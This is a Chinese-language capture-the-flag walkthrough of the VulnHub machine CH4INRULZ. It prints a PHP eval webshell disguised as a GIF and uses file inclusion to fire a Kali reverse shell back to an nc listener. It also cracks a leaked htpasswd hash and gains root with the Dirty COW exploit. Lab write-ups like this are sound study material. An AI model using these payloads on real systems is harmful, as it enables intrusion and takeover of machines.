nmap开路。

root@kali:~# nmap -sP 192.168.1.*
//拿到靶机地址192.168.1.8
root@kali:~# nmap -p- -sS -v -sV 192.168.1.8

开放了四个端口,21号ftp端口,22号ssh端口,80和8011两个Web端口,在80端口下有一个个人简历的网站。



对80端口这个站用DirBuster进行目录扫描,访问developent目录需要账号密码,保留爆破的想法



接着用dirsearch扫文件,拿到一个index.html.bak备份文件。内容如下:

<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0这一段是账号密码。



用John the Ripper破解到密码是frank!!!



账号密码登录

* Here is my unfinished tools list
- the uploader tool (finished but need security review)
//翻译:
*这是我未完成的工具清单
-上传器工具(已完成,但需要进行安全审查)

提示存在一个上传器工具



访问

http://192.168.1.8/development/uploader/

进入到上传器页面。



前面说了需要进行安全审查,那么应该是对我们上传的文件进行了过滤。直接上传php木马文件,看看允许哪些格式可以上传。

File is not an image.Sorry, only JPG, JPEG, PNG & GIF files are allowed.Sorry, your file was not uploaded.

服务器会对文件后缀检查,加个图片头改成.gif格式可以上传

GIF89a
<script language="php">
echo eval($_POST[shell]);
phpinfo();
</script>

但是没有给到图片传到到服务器的路径。



到这好像就没有思路了。抓包改成php后缀不行,传木马图片但是没给解析路径连蚁剑。回顾一下前面的信息收集的过程,拿到了21,22,80,8011四个端口和80端口下扫出来的一些路径,接着对8011端口进行信息搜集。



dirbuster扫目录的时候拿到一个200状态码的api目录,访问一波



给了四个文件,只有files_api.php可以访问

No parameter called file passed to me
* Note : this API don't use json , so send the file name in raw format
没有名为file的参数传递给我
*注意:此API不使用json,因此以原始格式发送文件名

提示传个file参数。get传参提示WRONG INPUT !!。改用post传参直接显示我们要读取的文件。



从这个地方我们可以知道大概的思路就是找到我们上传的路径然后文件包含反弹一个shell。这里找文件上传的路径用到了apache的配置文件,自己又孤陋寡闻了,大师傅基础好扎实。

/etc/apache2/sites-enabled/000-default



结合php伪协议读取uploader.php里面的内容。



base64解密

<?php
$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
echo "File is an image - " . $check["mime"] . ".";
$uploadOk = 1;
} else {
echo "File is not an image.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Check file size
if ($_FILES["fileToUpload"]["size"] > 500000) {
echo "Sorry, your file is too large.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
&& $imageFileType != "gif" ) {
echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded to my uploads path.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>

这里可以看到是检查我们上传文件的源码,最重要的还是

$target_dir = "FRANKuploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);

那么我们上传的文件在FRANKuploads/下



那么我们再利用8011端口的文件包含漏洞去读取我们的木马图片看能否解析,包含成功



下面我们考虑怎么弹个shell回来。这里我们用到了kali里面自带的php-reverse-shell.php文件。路径是

/usr/share/webshells/php/php-reverse-shell.php

将IP地址修改成kali的地址和kali开启的监听端口,加上GIF89a图片头改成gif后缀上传



nc监听6666端口

nc -lvnp 6666

同时文件包含访问我们刚刚上传的那个用来反弹shell的文件。



成功拿到shell,



下面开始提权。查看内核版本



版本比较老,直接使用脏牛提权。将40838文件复制到当前目录

kali@kali:~$ cp /usr/share/exploitdb/exploits/linux/local/40839.c ~

接着利用python开启一个简单的HTTP服务。

kali@kali:~$ python -m SimpleHTTPServer 8848

让靶机从kali上下载40839.cpp文件,但是提示不能写入,权限不够



查看各个目录的权限



我们将40839.cpp下载到/tmp目录下



编译执行,拿到用户名firefart输入新密码



提示密码修改成功



进入/root目录拿到flag。



总结

这是做的第四个靶机,对渗透测试的流程:信息收集-发现漏洞-漏洞利用-提权的感受更加的深刻。

先说信息收集和发现漏洞:nmap开路拿到四个端口,80和8011开放了Web服务,之后在扫80端口的目录时发现/development状态码是401需要密码认证,接着扫文件发现index.html.bak利用john爆破拿到账号密码,之后就是一个文件上传的功能,还是扫8011端口的目录发现文件包含漏洞。两者结合。其实重点在如何找到文件上传的路径。利用php伪协议拿到uploader.php的源码,上传的文件路径就明了了。

再说漏洞利用:这个靶机是利用文件上传配合文件包含漏洞来反弹一个shell的。知道了kali自带了一些反弹shell的脚本。

提权:查看内核版本,直接脏牛提权,在利用40349.c之前自己还利用了40847.cpp和40838.c两个脚本提权的,但是失败了,40847.cpp在编译的时候需要g++,但是靶机里面没有g++,安装的话需要权限。40838.c编译成功并且执行了,但是好像没用,弹回来一个图片就没了。

学到了哪些?

1、john的使用

2、利用kali自带脚本反弹shell

靶机CH4INRULZ_v1.0.1的更多相关文章

  1. 靶场渗透CH4INRULZ_v1.0.1

    最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...

  2. 靶场vulnhub-CH4INRULZ_v1.0.1通关

    1.CH4INRULZ_v1.0.1靶场通关 ch4inrulz是vulnhub下的基于Linux的一个靶场,作为练习之用 目的:通过各种手段,获取到靶机内的flag的内容 2.环境搭建: 攻击机 K ...

  3. MSF渗透测试-CVE-2017-11882(MSOffice漏洞)

    1.测试环境 2.测试前准备 3.测试过程 -3.1虚拟机环境测试 -3.2局域网靶机测试 4.测试感想 1.测试环境 攻击机: OS:kail IP:192.168.15.132/192.168.1 ...

  4. ZAM 3D 制作简单的3D字幕 流程(二)

    原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...

  5. ZAM 3D 制作3D动画字幕 用于Xaml导出

    原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...

  6. 微信小程序省市区选择器对接数据库

    前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...

  7. osg编译日志

    1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...

  8. kali渗透综合靶机(十五)--Breach-1.0靶机

    kali渗透综合靶机(十五)--Breach-1.0靶机 靶机下载地址:https://download.vulnhub.com/breach/Breach-1.0.zip 一.主机发现 1.netd ...

  9. kali渗透综合靶机(十三)--Dina 1.0靶机

    kali渗透综合靶机(十三)--Dina 1.0靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate= ...

随机推荐

  1. Auto.js无障碍免root脚本开发学习

    Auto.js 简单入门 官方文档:https://hyb1996.github.io/AutoJs-Docs/#/ https://blog.csdn.net/QiHsMing/article/de ...

  2. Linux中date的用法

    一.命令格式:date [参数]... [+格式]二.命令功能:date 可以用来显示或设定系统的日期与时间.三.命令格式:%H 小时(以00-23来表示). %I 小时(以01-12来表示). %K ...

  3. 信奥赛一本通1573:分离与合体C++分离与合体

    题目链接 #include<cstdio> #include<algorithm> using namespace std; int dp[305][305]={},jojo[ ...

  4. 从DVWA靶场学代码审计

    DVWA是较为经典的一个传统漏洞的靶场 内置了low,medium,hight,impossible四个安全级别供安全人员去研究相关漏洞.今天就来对impossible这个级别进行代码审计,从中学习一 ...

  5. 多元统计之因子分析模型及Python分析示例

    1. 简介 因子分析是一种研究观测变量变动的共同原因和特殊原因, 从而达到简化变量结构目的的多元统计方法. 因子分析模型是主成分分析的推广, 也是利用降维的思想, 将复杂的原始变量归结为少数几个综合因 ...

  6. docker配置redis6.0.5集群

    docker配置redis6.0集群方案 docker安装 请直接挂载课程配套的Centos7.x镜像, docker官方建议使用CentOS7 (1)yum 包更新到最新 sudo yum upda ...

  7. 1shell变量的作用域

    Shell 局部变量 Shell 全局变量 shell全局变量的易错点 linux shell中./a.sh , sh a.sh , source a.sh, . ./a.sh的区别 Shell 环境 ...

  8. 打开设置windows10内置linux功能-启用linux子系统

    第一步设置开发者模式 步骤:windows+s打开娜娜,输入设置,并点击. 点击更新与安全 点击开发者选项,选择开发者模型,弹出的对话框选确定之后等待安装完毕. 第二步:安装linux 点击确定后等待 ...

  9. Linux | 压缩与解压详解

    tar tar 命令用于对文件进行打包压缩或解压,格式: tar [选项][文件] tar命令的参数及其作用 参数 作用 -c 创建压缩文件 -x 解开压缩文件 -t 查看压缩包内有哪些文件 -z 用 ...

  10. Django基础-03篇 操作Django自带的admin后台

    1.使用model.py来定义表结构,使用命令同步到数据库 python manage.py makemigrations #生成表结构(py) python manage.py makemigrat ...